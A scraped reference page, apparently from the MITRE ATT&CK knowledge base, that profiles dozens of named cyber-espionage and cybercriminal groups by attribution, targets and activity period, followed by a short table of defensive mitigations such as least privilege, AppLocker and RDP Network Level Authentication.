G0043Group5Group5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack. (Citation: Citizen Lab Group5)
G0125HAFNIUMHAFNIUM is a likely state-sponsored cyber espionage group operating out of China that has been active since at least January 2021. HAFNIUM primarily targets entities in the US across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)
G1001HEXANEHEXANE is a cyber espionage threat group that has targeted oil & gas, telecommunications, aviation, and internet service provider organizations since at least 2017. Targeted companies have been located in the Middle East and Africa, including Israel, Saudi Arabia, Kuwait, Morocco, and Tunisia. HEXANE’s TTPs appear similar to APT33 and OilRig but due to differences in victims and tools it is tracked as a separate entity.(Citation: Dragos Hexane)(Citation: Kaspersky Lyceum October 2021)(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)
G0126HigaisaHigaisa is a threat group suspected to have South Korean origins. Higaisa has targeted government, public, and trade organizations in North Korea; however, they have also carried out attacks in China, Japan, Russia, Poland, and other nations. Higaisa was first disclosed in early 2019 but is assessed to have operated as early as 2009.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)(Citation: PTSecurity Higaisa 2020)
G0072HoneybeeHoneybee is a campaign led by an unknown actor that targets humanitarian aid organizations and has been active in Vietnam, Singapore, Argentina, Japan, Indonesia, and Canada. It has been an active operation since August of 2017 and as recently as February 2018. (Citation: McAfee Honeybee)
G0100InceptionInception is a cyber espionage group active since at least 2014. The group has targeted multiple industries and governmental entities primarily in Russia, but has also been active in the United States and throughout Europe, Asia, Africa, and the Middle East.(Citation: Unit 42 Inception November 2018)(Citation: Symantec Inception Framework March 2018)(Citation: Kaspersky Cloud Atlas December 2014)
G0136IndigoZebraIndigoZebra is a suspected Chinese cyber espionage group that has been targeting Central Asian governments since at least 2014.(Citation: HackerNews IndigoZebra July 2021)(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)
G0119Indrik SpiderIndrik Spider is a Russia-based cybercriminal group that has been active since at least 2014. Indrik Spider initially started with the Dridex banking Trojan, and then by 2017 they began running ransomware operations using BitPaymerWastedLocker, and Hades ransomware.(Citation: Crowdstrike Indrik November 2018)(Citation: Crowdstrike EvilCorp March 2021)(Citation: Treasury EvilCorp Dec 2019)
G0004Ke3changKe3chang is a threat group attributed to actors operating out of China. Ke3chang has targeted oil, government, diplomatic, military, and NGOs in Central and South America, the Caribbean, Europe, and North America since at least 2010.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)(Citation: APT15 Intezer June 2018)(Citation: Microsoft NICKEL December 2021)
G0094KimsukyKimsuky is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the United States, Russia, Europe, and the UN. Kimsuky has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)

Kimsuky was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name Lazarus Group instead of tracking clusters or subgroups.
G1004LAPSUS$LAPSUS$ is cyber criminal threat group that has been active since at least mid-2021. LAPSUS$ specializes in large-scale social engineering and extortion operations, including destructive attacks without the use of ransomware. The group has targeted organizations globally, including in the government, manufacturing, higher education, energy, healthcare, technology, telecommunications, and media sectors.(Citation: BBC LAPSUS Apr 2022)(Citation: MSTIC DEV-0537 Mar 2022)(Citation: UNIT 42 LAPSUS Mar 2022)
G0032Lazarus GroupLazarus Group is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by Lazarus Group correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster)

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name Lazarus Group instead of tracking clusters or subgroups, such as AndarielAPT37APT38, and Kimsuky.
G0140LazyScripterLazyScripter is threat group that has mainly targeted the airlines industry since at least 2018, primarily using open-source toolsets.(Citation: MalwareBytes LazyScripter Feb 2021)
G0077LeafminerLeafminer is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017. (Citation: Symantec Leafminer July 2018)
G0065LeviathanLeviathan is a Chinese state-sponsored cyber espionage group that has been attributed to the Ministry of State Security’s (MSS) Hainan State Security Department and an affiliated front company.(Citation: CISA AA21-200A APT40 July 2021) Active since at least 2009, Leviathan has targeted the following sectors: academia, aerospace/aviation, biomedical, defense industrial base, government, healthcare, manufacturing, maritime, and transportation across the US, Canada, Europe, the Middle East, and Southeast Asia.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)
G0030Lotus BlossomLotus Blossom is a threat group that has targeted government and military organizations in Southeast Asia. (Citation: Lotus Blossom Jun 2015)
G1014LuminousMothLuminousMoth is a Chinese-speaking cyber espionage group that has been active since at least October 2020. LuminousMoth has targeted high-profile organizations, including government entities, in Myanmar, the Philippines, Thailand, and other parts of Southeast Asia. Some security researchers have concluded there is a connection between LuminousMoth and Mustang Panda based on similar targeting and TTPs, as well as network infrastructure overlaps.(Citation: Kaspersky LuminousMoth July 2021)(Citation: Bitdefender LuminousMoth July 2021)
G0095MacheteMachete is a suspected Spanish-speaking cyber espionage group that has been active since at least 2010. It has primarily focused its operations within Latin America, with a particular emphasis on Venezuela, but also in the US, Europe, Russia, and parts of Asia. Machete generally targets high-profile organizations such as government institutions, intelligence services, and military units, as well as telecommunications and power companies.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)
G0059Magic HoundMagic Hound is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, likely on behalf of the Islamic Revolutionary Guard Corps. They have targeted European, U.S., and Middle Eastern government and military personnel, academics, journalists, and organizations such as the World Health Organization (WHO), via complex social engineering campaigns since at least 2014.(Citation: FireEye APT35 2018)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Certfa Charming Kitten January 2021)(Citation: Secureworks COBALT ILLUSION Threat Profile)(Citation: Proofpoint TA453 July2021)
G0045menuPassmenuPass is a threat group that has been active since at least 2006. Individual members of menuPass are known to have acted in association with the Chinese Ministry of State Security’s (MSS) Tianjin State Security Bureau and worked for the Huaying Haitai Science and Technology Development Company.(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)

menuPass has targeted healthcare, defense, aerospace, finance, maritime, biotechnology, energy, and government sectors globally, with an emphasis on Japanese organizations. In 2016 and 2017, the group is known to have targeted managed IT service providers (MSPs), manufacturing and mining companies, and a university.(Citation: Palo Alto menuPass Feb 2017)(Citation: Crowdstrike CrowdCast Oct 2013)(Citation: FireEye Poison Ivy)(Citation: PWC Cloud Hopper April 2017)(Citation: FireEye APT10 April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)
G1013MetadorMetador is a suspected cyber espionage group that was first reported in September 2022. Metador has targeted a limited number of telecommunication companies, internet service providers, and universities in the Middle East and Africa. Security researchers named the group Metador based on the “I am meta” string in one of the group’s malware samples and the expectation of Spanish-language responses from C2 servers.(Citation: SentinelLabs Metador Sept 2022)
G0002MoafeeMoafee is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group DragonOK. (Citation: Haq 2014)
G0103MofangMofang is a likely China-based cyber espionage group, named for its frequent practice of imitating a victim’s infrastructure. This adversary has been observed since at least May 2012 conducting focused attacks against government and critical infrastructure in Myanmar, as well as several other countries and sectors including military, automobile, and weapons industries.(Citation: FOX-IT May 2016 Mofang)
G0021MoleratsMolerats is an Arabic-speaking, politically-motivated threat group that has been operating since 2012. The group’s victims have primarily been in the Middle East, Europe, and the United States.(Citation: DustySky)(Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)(Citation: Cybereason Molerats Dec 2020)
G0042MONSOON
G1009Moses StaffMoses Staff is a suspected Iranian threat group that has primarily targeted Israeli companies since at least September 2021. Moses Staff openly stated their motivation in attacking Israeli companies is to cause damage by leaking stolen sensitive data and encrypting the victim’s networks without a ransom demand.(Citation: Checkpoint MosesStaff Nov 2021)

Security researchers assess Moses Staff is politically motivated, and has targeted government, finance, travel, energy, manufacturing, and utility companies outside of Israel as well, including those in Italy, India, Germany, Chile, Turkey, the UAE, and the US.(Citation: Cybereason StrifeWater Feb 2022)
G0069MuddyWaterMuddyWater is a cyber espionage group assessed to be a subordinate element within Iran’s Ministry of Intelligence and Security (MOIS).(Citation: CYBERCOM Iranian Intel Cyber January 2022) Since at least 2017, MuddyWater has targeted a range of government and private organizations across sectors, including telecommunications, local government, defense, and oil and natural gas organizations, in the Middle East, Asia, Africa, Europe, and North America.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: Talos MuddyWater Jan 2022)
G0129Mustang PandaMustang Panda is a China-based cyber espionage threat actor that was first observed in 2017 but may have been conducting operations since at least 2014. Mustang Panda has targeted government entities, nonprofits, religious, and other non-governmental organizations in the U.S., Europe, Mongolia, Myanmar, Pakistan, and Vietnam, among others.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019)
G0019NaikonNaikon is assessed to be a state-sponsored cyber espionage group attributed to the Chinese People’s Liberation Army’s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020).(Citation: CameraShy) Active since at least 2010, Naikon has primarily conducted operations against government, military, and civil organizations in Southeast Asia, as well as against international bodies such as the United Nations Development Programme (UNDP) and the Association of Southeast Asian Nations (ASEAN).(Citation: CameraShy)(Citation: Baumgartner Naikon 2015)

While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.(Citation: Baumgartner Golovkin Naikon 2015)
G0055NEODYMIUMNEODYMIUM is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called PROMETHIUM due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21) NEODYMIUM is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)
G0014Night DragonNight Dragon is a campaign name for activity involving a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)
IDNameDescription
G0133Nomadic OctopusNomadic Octopus is a Russian-speaking cyber espionage threat group that has primarily targeted Central Asia, including local governments, diplomatic missions, and individuals, since at least 2014. Nomadic Octopus has been observed conducting campaigns involving Android and Windows malware, mainly using the Delphi programming language, and building custom variants.(Citation: Security Affairs DustSquad Oct 2018)(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)
G0049OilRigOilRig is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.(Citation: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Jan 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018)
G0116Operation WocaoOperation Wocao described activities carried out by a China-based cyber espionage adversary. Operation Wocao targeted entities within the government, managed service providers, energy, health care, and technology sectors across several countries, including China, France, Germany, the United Kingdom, and the United States. Operation Wocao used similar TTPs and tools to APT20, suggesting a possible overlap.(Citation: FoxIT Wocao December 2019)
G0071OrangewormOrangeworm is a group that has targeted organizations in the healthcare sector in the United States, Europe, and Asia since at least 2015, likely for the purpose of corporate espionage.(Citation: Symantec Orangeworm April 2018)
G0040PatchworkPatchwork is a cyber espionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. Patchwork has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. Patchwork was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018.(Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork)(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)
G0011PittyTigerPittyTiger is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control.(Citation: Bizeul 2014)(Citation: Villeneuve 2014)
G0068PLATINUMPLATINUM is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia. (Citation: Microsoft PLATINUM April 2016)
G1005POLONIUMPOLONIUM is a Lebanon-based group that has primarily targeted Israeli organizations, including critical manufacturing, information technology, and defense industry companies, since at least February 2022. Security researchers assess POLONIUM has coordinated their operations with multiple actors affiliated with Iran’s Ministry of Intelligence and Security (MOIS), based on victim overlap as well as common techniques and tooling.(Citation: Microsoft POLONIUM June 2022)
G0033Poseidon GroupPoseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm. (Citation: Kaspersky Poseidon Group)
G0056PROMETHIUMPROMETHIUM is an activity group focused on espionage that has been active since at least 2012. The group has conducted operations globally with a heavy emphasis on Turkish targets. PROMETHIUM has demonstrated similarity to another activity group called NEODYMIUM due to overlapping victim and campaign characteristics.(Citation: Microsoft NEODYMIUM Dec 2016)(Citation: Microsoft SIR Vol 21)(Citation: Talos Promethium June 2020)
G0024Putter PandaPutter Panda is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA’s 3rd General Staff Department (GSD). (Citation: CrowdStrike Putter Panda)
G0075RancorRancor is a threat group that has led targeted campaigns against the South East Asia region. Rancor uses politically-motivated lures to entice victims to open malicious documents. (Citation: Rancor Unit42 June 2018)
G0106RockeRocke is an alleged Chinese-speaking adversary whose primary objective appeared to be cryptojacking, or stealing victim system resources for the purposes of mining cryptocurrency. The name Rocke comes from the email address “rocke@live.cn” used to create the wallet which held collected cryptocurrency. Researchers have detected overlaps between Rocke and the Iron Cybercrime Group, though this attribution has not been confirmed.(Citation: Talos Rocke August 2018)
G0048RTMRTM is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name (RTM). (Citation: ESET RTM Feb 2017)
G0034Sandworm TeamSandworm Team is a destructive threat group that has been attributed to Russia’s General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020)

In October 2020, the US indicted six GRU Unit 74455 officers associated with Sandworm Team for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide NotPetya attack, targeting of the 2017 French presidential campaign, the 2018 Olympic Destroyer attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as APT28.(Citation: US District Court Indictment GRU Oct 2018)
G0029Scarlet MimicScarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group’s motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, it has not been concluded that the groups are the same. (Citation: Scarlet Mimic Jan 2016)
G0104SharpshooterOperation Sharpshooter is the name of a cyber espionage campaign discovered in October 2018 targeting nuclear, defense, energy, and financial companies. Though overlaps between this adversary and Lazarus Group have been noted, definitive links have not been established.(Citation: McAfee Sharpshooter December 2018)
G1008SideCopySideCopy is a Pakistani threat group that has primarily targeted South Asian countries, including Indian and Afghani government personnel, since at least 2019. SideCopy’s name comes from its infection chain that tries to mimic that of Sidewinder, a suspected Indian threat group.(Citation: MalwareBytes SideCopy Dec 2021)
G0121SidewinderSidewinder is a suspected Indian threat actor group that has been active since at least 2012. They have been observed targeting government, military, and business entities throughout Asia, primarily focusing on Pakistan, China, Nepal, and Afghanistan.(Citation: ATT Sidewinder January 2021)(Citation: Securelist APT Trends April 2018)(Citation: Cyble Sidewinder September 2020)
G0091SilenceSilence is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June 2016. Their main targets reside in Russia, Ukraine, Belarus, Azerbaijan, Poland and Kazakhstan. They compromised various banking systems, including the Russian Central Bank’s Automated Workstation Client, ATMs, and card processing.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017)
G0122Silent LibrarianSilent Librarian is a group that has targeted research and proprietary data at universities, government agencies, and private sector companies worldwide since at least 2013. Members of Silent Librarian are known to have been affiliated with the Iran-based Mabna Institute which has conducted cyber intrusions at the behest of the government of Iran, specifically the Islamic Revolutionary Guard Corps (IRGC).(Citation: DOJ Iran Indictments March 2018)(Citation: Phish Labs Silent Librarian)(Citation: Malwarebytes Silent Librarian October 2020)
G0083SilverTerrierSilverTerrier is a Nigerian threat group that has been seen active since 2014. SilverTerrier mainly targets organizations in high technology, higher education, and manufacturing.(Citation: Unit42 SilverTerrier 2018)(Citation: Unit42 SilverTerrier 2016)
G0054SowbugSowbug is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)
G0038Stealth FalconStealth Falcon is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)
G0086Stolen PencilStolen Pencil is a threat group likely originating from DPRK that has been active since at least May 2018. The group appears to have targeted academic institutions, but its motives remain unclear.(Citation: Netscout Stolen Pencil Dec 2018)
G0041StriderStrider is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda.(Citation: Symantec Strider Blog)(Citation: Kaspersky ProjectSauron Blog)
G0039SuckflySuckfly is a China-based threat group that has been active since at least 2014. (Citation: Symantec Suckfly March 2016)
G0062TA459TA459 is a threat group believed to operate out of China that has targeted countries including Russia, Belarus, Mongolia, and others. (Citation: Proofpoint TA459 April 2017)
G0092TA505TA505 is a cyber criminal group that has been active since at least 2014. TA505 is known for frequently changing malware, driving global trends in criminal malware distribution, and ransomware campaigns involving Clop.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)(Citation: NCC Group TA505)(Citation: Korean FSI TA505 2020)
G0127TA551TA551 is a financially-motivated threat group that has been active since at least 2018. (Citation: Secureworks GOLD CABIN) The group has primarily targeted English, German, Italian, and Japanese speakers through email-based malware distribution campaigns. (Citation: Unit 42 TA551 Jan 2021)
G0015TaidoorTaidoor has been deprecated, as the only technique it was linked to was deprecated in ATT&CK v7.
G0139TeamTNTTeamTNT is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments.(Citation: Palo Alto Black-T October 2020)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer TeamTNT September 2020)(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Intezer TeamTNT Explosion September 2021)
G0088TEMP.VelesTEMP.Veles is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)
G0089The White CompanyThe White Company is a likely state-sponsored threat actor with advanced capabilities. From 2017 through 2018, the group led an espionage campaign called Operation Shaheen targeting government and military organizations in Pakistan.(Citation: Cylance Shaheen Nov 2018)
G0028Threat Group-1314Threat Group-1314 is an unattributed threat group that has used compromised credentials to log into a victim’s remote access infrastructure. (Citation: Dell TG-1314)
G0027Threat Group-3390Threat Group-3390 is a Chinese threat group that has extensively used strategic Web compromises to target victims.(Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, manufacturing and gambling/betting sectors.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Securelist LuckyMouse June 2018)(Citation: Trend Micro DRBControl February 2020)
G0076ThripThrip is an espionage group that has targeted satellite communications, telecoms, and defense contractor companies in the U.S. and Southeast Asia. The group uses custom malware as well as “living off the land” techniques. (Citation: Symantec Thrip June 2018)
G0131Tonto TeamTonto Team is a suspected Chinese state-sponsored cyber espionage threat group that has primarily targeted South Korea, Japan, Taiwan, and the United States since at least 2009; by 2020 they expanded operations to include other Asian as well as Eastern European countries. Tonto Team has targeted government, military, energy, mining, financial, education, healthcare, and technology organizations, including through the Heartbeat Campaign (2009-2012) and Operation Bitter Biscuit (2017).(Citation: Kaspersky CactusPete Aug 2020)(Citation: ESET Exchange Mar 2021)(Citation: FireEye Chinese Espionage October 2019)(Citation: ARS Technica China Hack SK April 2017)(Citation: Trend Micro HeartBeat Campaign January 2013)(Citation: Talos Bisonal 10 Years March 2020)
G0134Transparent TribeTransparent Tribe is a suspected Pakistan-based threat group that has been active since at least 2013, primarily targeting diplomatic, defense, and research organizations in India and Afghanistan.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Talos Transparent Tribe May 2021)
G0081Tropic TrooperTropic Trooper is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong. Tropic Trooper focuses on targeting government, healthcare, transportation, and high-tech industries and has been active since 2011.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper May 2020)
G0010TurlaTurla is a Russian-based threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies since 2004. Heightened activity was seen in mid-2015. Turla is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware. Turla’s espionage platform is mainly used against Windows machines, but has also been seen used against macOS and Linux machines.(Citation: Kaspersky Turla)(Citation: ESET Gazer Aug 2017)(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla Mosquito Jan 2018)
G0118UNC2452UNC2452 is a suspected Russian state-sponsored threat group responsible for the 2020 SolarWinds software supply chain intrusion.(Citation: FireEye SUNBURST Backdoor December 2020) Victims of this campaign include government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East.(Citation: FireEye SUNBURST Backdoor December 2020) The group also compromised at least one think tank by late 2019.(Citation: Volexity SolarWinds)
G0123Volatile CedarVolatile Cedar is a Lebanese threat group that has targeted individuals, companies, and institutions worldwide. Volatile Cedar has been operating since 2012 and is motivated by political and ideological interests.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)
G0107WhiteflyWhitefly is a cyber espionage group that has been operating since at least 2017. The group has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information. The group has been linked to an attack against Singapore’s largest public health organization, SingHealth.(Citation: Symantec Whitefly March 2019)
G0124WindigoThe Windigo group has been operating since at least 2011, compromising thousands of Linux and Unix servers using the Ebury SSH backdoor to create a spam botnet. Despite law enforcement intervention against the creators, Windigo operators continued updating Ebury through 2019.(Citation: ESET Windigo Mar 2014)(Citation: CERN Windigo June 2019)
G0112WindshiftWindshift is a threat group that has been active since at least 2017, targeting specific individuals for surveillance in government departments and critical infrastructure across the Middle East.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)
G0044Winnti GroupWinnti Group is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting.(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)(Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including AxiomAPT17, and Ke3chang, are closely linked to Winnti Group.(Citation: 401 TRG Winnti Umbrella May 2018)
G0090WIRTEWIRTE is a threat group that has been active since at least August 2018. WIRTE has targeted government, diplomatic, financial, military, legal, and technology organizations in the Middle East and Europe.(Citation: Lab52 WIRTE Apr 2019)(Citation: Kaspersky WIRTE November 2021)
G0102Wizard SpiderWizard Spider is a Russia-based financially motivated threat group originally known for the creation and deployment of TrickBot since at least 2016. Wizard Spider possesses a diverse arsenal of tools and has conducted ransomware campaigns against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: CrowdStrike Wizard Spider October 2020)
G0128ZIRCONIUMZIRCONIUM is a threat group operating out of China, active since at least 2017, that has targeted individuals associated with the 2020 US presidential election and prominent leaders in the international affairs community.(Citation: Microsoft Targeting Elections September 2020)(Citation: Check Point APT31 February 2021)

Mitigations

IDNameDescription
T1156.bash_profile and .bashrc MitigationMaking these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.
T1134Access Token Manipulation MitigationAccess tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.

Any user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of Valid Accounts. Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)

Also limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.
T1015Accessibility Features MitigationTo use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)

If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)

Identify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1087Account Discovery MitigationPrevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located HKLM\ SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CredUI\EnumerateAdministrators. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
M1036Account Use PoliciesConfigure features related to account use like login attempt lockouts, specific login times, etc.
M1015Active Directory ConfigurationConfigure Active Directory to prevent use of certain techniques; use SID Filtering, etc.
M1049Antivirus/AntimalwareUse signatures or heuristics to detect malicious software.
T1182AppCert DLLs MitigationIdentify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.
T1103AppInit DLLs MitigationUpgrade to Windows 8 or later and enable secure boot.

